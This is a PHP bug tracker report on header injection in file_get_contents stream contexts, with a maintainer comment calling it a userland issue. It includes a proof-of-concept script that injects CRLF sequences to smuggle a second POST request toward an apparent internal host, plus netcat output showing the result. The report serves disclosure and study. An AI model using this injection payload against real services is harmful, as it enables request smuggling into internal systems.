|
|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2021-12-03 05:28 UTC] ive_jihwan at zerocution dot com
Description:
------------
Since file_get_contents accepts a user-generated stream context as its argument, an arbitrary stream context can be passed. In addition, we can pass arbitrary header string by setting $ctx["http"]["header"] while $ctx is passing context. However, there is no checking of the given header string, the user can inject multiple continuous "\r\n" sequences, which can send multiple HTTP request messages at once.
I attached a received raw HTTP message on TCP socket by netcat (nc -l) as actual result.
This bug is caused by lack of filtering multiple "\r\n" streams while adding context's http header option strings. (http_fopen_wrapper.c, line 421 to 514)
Test script:
---------------
<?php
$ctx = stream_context_create(array(
"http" => array(
"header" =>
"Host: localhost:3500\r\n\r\n\r\nPOST /internal/ HTTP/1.1\r\nHost: maybe_internal:3500\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: SecretAdminBrowser\r\n\r\npoc=this-is-test\r\n"
)));
file_get_contents('http://localhost:3500', null, $ctx);
Expected result:
----------------
Should be failed
Actual result:
--------------
$ nc -lnvp 3500
Listening on 0.0.0.0 3500
Connection received on 127.0.0.1 38908
GET / HTTP/1.1
Connection: close
Host: localhost:3500
POST /internal/ HTTP/1.1
Host: maybe_internal:3500
Content-Type: application/x-www-form-urlencoded
User-Agent: SecretAdminBrowser
poc=this-is-test
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||||||||
Copyright © 2001-2023 The PHP GroupAll rights reserved. |
Last updated: Sat Sep 30 14:01:24 2023 UTC |
I understood this testing script seems too malicious, but how about the following code? <?php $ctx = stream_context_create(array( "http" => array( "header" => "User-Agent: ".$_GET["UA"], "content" => "q=".$_GET["q"] ))); ?> I know that many developers are using file_get_content to call simple API services instead of using curl, something like this really can be happened in the real world. Also, it seems like we can inject multiple consequence cr-lf in content for the same reason, this is more likely to exist in the real world.Well, if you are not validating/sanitizing user input, almost anything can happen. At least in the general case, PHP cannot prevent exploits of such bad code, like include $_GET['filename'] And yes, this is a serious security issue, but not in php-src, but rather in the userland code.